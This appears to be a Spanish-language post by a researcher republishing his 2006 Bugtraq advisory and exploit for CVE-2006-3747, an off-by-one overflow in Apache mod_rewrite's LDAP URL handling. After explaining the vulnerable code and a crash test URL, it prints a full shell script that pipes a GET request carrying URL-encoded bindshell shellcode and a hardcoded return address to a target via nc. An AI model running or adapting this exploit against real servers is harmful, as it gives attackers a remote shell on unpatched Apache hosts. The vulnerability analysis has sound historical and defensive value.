
Información sobre mi aviso sobre CVE-2006-3747 (desbordamiento de búfer off-by-one en Apache mod_rewrite LDAP).. En ese momento, fue el primer exploit público funcional :)
Archivos sobre mi publicación en bugtraq y el primer exploit funcional para CVE-2006-3747 (desbordamiento off-by-one en mod_rewrite LDAP de Apache).
(http://www.securityfocus.com/archive/1/443870)
El 28 de julio de 2006, Mark Dowd (McAfee Avert Labs) informó de una vulnerabilidad encontrada en el módulo mod_rewrite de Apache a la lista de correo de bugtraq. La función vulnerable es escape_absolute_uri() y el problema solo podía surgir cuando mod_rewrite estaba gestionando una URL LDAP. Una URL LDAP malformada podría desencadenar un desbordamiento off-by-one en ciertas situaciones (especiales) y un posible atacante podría causar una denegación de servicio o ejecutar código arbitrario con los privilegios del usuario de Apache.
Para explotar esta vulnerabilidad no es necesaria una regla específica de LDAP, pero debe existir una regla en la que el usuario pueda controlar la parte inicial de la URL reasignada, por ejemplo:
RewriteRule foo/(.*) $1
Cualquier versión del servidor HTTP Apache:
2696 /* escape absolute uri, which may or may not be path oriented.
2697 * So let's handle them differently.
2698 */
2699 static char *escape_absolute_uri(ap_pool *p, char *uri,
unsigned scheme)
2700 {
2701 char *cp;
2702 ...
...
2727 /* special thing for ldap.
2728 * The parts are separated by question marks. From RFC 2255:
2729 * ldapurl = scheme "://" [hostport] ["/"
2730 * [dn ["?" [attributes] ["?" [scope]
2731 * ["?" [filter] ["?" extensions]]]]]]
2732 */
2733 if (!strncasecmp(uri, "ldap", 4)) {
2734 char *token[5];
2735 int c = 0;
2736
2737 token[0] = cp = ap_pstrdup(p, cp);
2738 while (*cp && c < 5) {
2739 if (*cp == '?') {
2740 token[++c] = cp + 1;
2741 *cp = '\0';
2742 }
2743 ++cp;
2744 }
En el caso de que una URI LDAP contenga un quinto '?', la línea 2740 provoca un desbordamiento off-by-one, ya que escribe en token[5]. Para explotar este problema es necesaria una versión vulnerable de Apache y un diseño específico del marco de pila.
Para saber si tu versión vulnerable de Apache puede ser explotada con éxito, escribe esta regla en tu httpd.conf o archivo .htaccess:
RewriteRule kung/(.*) $1
E intenta acceder a la siguiente URL: /kung/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA% 3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB
Si tu servidor web no te responde con una página '302 Found' o aparece una violación de segmento en tu error_log, un hijo de Apache ha fallado y tu servidor web es vulnerable y explotable.
Este exploit se ejecutó con éxito en Apache 1.3.34, paquete de Debian sarge:
#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
#
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P
echo -e "mod_rewrite apache off-by-one overflow\nby jack <jack\x40gulcas
\x2eorg>\n\n"
if [ $# -ne 1 ] ; then
echo "Usage: $0 webserver"
exit
fi
host=$1
echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6%
31%c0%31 %db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3%
01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04%
31%c0%89%46%10%b0%10%89%46%08% b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66%
b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31%
c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8%
23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76%
08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db%
cd %80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%
77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\nHost:
$host\r\n\r\n" | nc $host 80
~~ Jacobo Avariento Gimeno